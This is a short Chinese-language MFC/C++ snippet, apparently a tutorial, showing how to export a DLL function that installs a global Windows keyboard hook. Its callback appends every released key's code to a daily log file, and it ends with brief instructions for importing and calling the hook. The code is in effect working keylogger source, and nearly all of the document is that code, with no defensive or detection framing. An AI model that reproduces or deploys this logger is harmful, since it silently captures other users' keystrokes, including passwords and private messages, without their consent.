1、全局钩子,监听键盘字符:
钩子函数导出:
HHOOK Hook;
LRESULT CALLBACK Hookkey(int nCode,WPARAM wParam,LPARAM lParam);
void Savekey(char* c);
__declspec(dllexport) void WINAPI OutEv()//安装全局钩子
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)Hookkey,theApp.m_hInstance,0);
}
LRESULT CALLBACK Hookkey(int nCode,WPARAM wParam,LPARAM lParam)//回调函数
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
Savekey(c);
}
}
return Result;
}
void Savekey(char* c)//记录按键信息
{
CTime tm=CTime::GetCurrentTime();//获取当前时间
CString name;
name.Format("Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))//创建文件
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();//定位到文件末尾
file.Write(c,1);//写数据
file.Close();
}
钩子函数导入:
#include "KeyHook.h"
编译器上配置Lib文件
OutEv();